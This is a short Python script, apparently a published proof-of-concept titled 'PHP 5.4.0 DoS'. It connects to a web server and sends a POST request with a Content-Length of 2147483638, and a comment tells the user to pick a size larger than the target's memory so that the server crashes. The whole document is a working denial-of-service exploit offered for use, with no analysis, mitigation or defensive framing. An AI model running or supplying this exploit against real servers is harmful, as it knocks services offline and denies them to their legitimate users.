[Python] PHP 5.4.0 DoS

import socket, sys

target = "127.0.0.1"
port   = 80;

request  = "POST / HTTP/1.1\n"
request += "Content-Type: application/x-www-form-urlencoded\n"
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
request += "A=B\n\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((target, port))
except:
  print "[-] Connection to %s:%s failed!" % (target, port)
  sys.exit(0)

print "[+] Sending HTTP request. Check for crash on target."

s.send(request)
s.close()